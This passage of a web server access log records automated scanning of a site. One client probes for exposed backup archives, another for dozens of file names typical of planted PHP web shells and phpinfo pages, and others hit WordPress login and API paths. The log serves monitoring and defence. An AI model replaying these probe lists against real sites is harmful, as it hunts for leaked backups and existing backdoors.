rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 3.145.184.135 - - [21/Mar/2026:18:03:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 3.145.184.135 - - [21/Mar/2026:18:03:03 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /web.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 89.223.106.2 - - [21/Mar/2026:17:49:16 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 219.249.37.107 - - [21/Mar/2026:18:17:29 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:33 +0300] "GET /www.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:34 +0300] "GET /web.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 32.193.37.124 - - [21/Mar/2026:18:25:21 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 51.68.107.144 - - [21/Mar/2026:19:27:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.107.144 - - [21/Mar/2026:19:27:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 116.76.39.221 - - [21/Mar/2026:20:11:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.3840.44 Safari/537.36 Edge/18.18362" 156.253.1.246 - - [21/Mar/2026:21:08:55 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 130.12.180.90 - - [21/Mar/2026:21:02:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 206.189.85.167 - - [21/Mar/2026:20:34:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 3.146.178.219 - - [21/Mar/2026:20:49:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 3.146.178.219 - - [21/Mar/2026:20:49:28 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 199.45.155.103 - - [21/Mar/2026:21:13:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 146.19.125.132 - - [21/Mar/2026:21:26:37 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 161.35.38.98 - - [21/Mar/2026:22:42:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.157.22.109 - - [21/Mar/2026:22:13:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.35.38.98 - - [21/Mar/2026:22:42:38 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.190.142.176 - - [21/Mar/2026:22:55:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 69.63.184.18 - - [21/Mar/2026:23:33:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.153.87.54 - - [21/Mar/2026:23:36:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.169.201.79 - - [22/Mar/2026:00:19:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 54.169.201.79 - - [22/Mar/2026:00:19:26 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.163.165.234 - - [22/Mar/2026:00:13:36 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.63.83.113 - - [22/Mar/2026:00:48:34 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:36 +0300] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:09 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:32 +0300] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:54 +0300] "GET /file8.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:58 +0300] "GET /bless2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:53:01 +0300] "GET /bless3.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:11 +0300] "GET /debug.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:53:06 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:53:09 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:44 +0300] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:17 +0300] "GET /config.php-eb HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:24 +0300] "GET /time.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:47:59 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:23 +0300] "GET /yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:51 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:53 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:37 +0300] "GET /deployment.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:46 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:52:49 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:47:47 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:10 +0300] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:16 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:19 +0300] "GET /bs2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:40 +0300] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:35 +0300] "GET /niil.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:42 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:29 +0300] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:44 +0300] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:31 +0300] "GET /eew.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:48 +0300] "GET /logging.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:51 +0300] "GET /dot.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:29 +0300] "GET /fgertreyersd.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:33 +0300] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:47:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:49 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:48:53 +0300] "GET /header.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:50 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:16 +0300] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:24 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:35 +0300] "GET /old_phpinfo.php HTTP/1.1" 301 795 "-" "-" 185.249.227.3 - - [22/Mar/2026:01:10:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (WordPress CMS Scanner)" 20.63.83.113 - - [22/Mar/2026:00:48:59 +0300] "GET /infophp.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:02 +0300] "GET /iinfo.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:05 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:49:20 +0300] "GET /staging.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:01 +0300] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:42 +0300] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:50:57 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:09 +0300] "GET /blue.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [22/Mar/2026:00:51:13 +0300] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 20.172.36.113 - - [22/Mar/2026:01:38:40 +0300] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 163.172.128.116 - - [22/Mar/2026:02:51:00 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.167.232.38 - - [22/Mar/2026:05:48:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.43.70.143 - - [22/Mar/2026:06:11:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.238.127.189 - - [22/Mar/2026:05:35:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 138.199.35.10 - - [22/Mar/2026:06:06:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 54.198.63.248 - - [22/Mar/2026:07:24:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 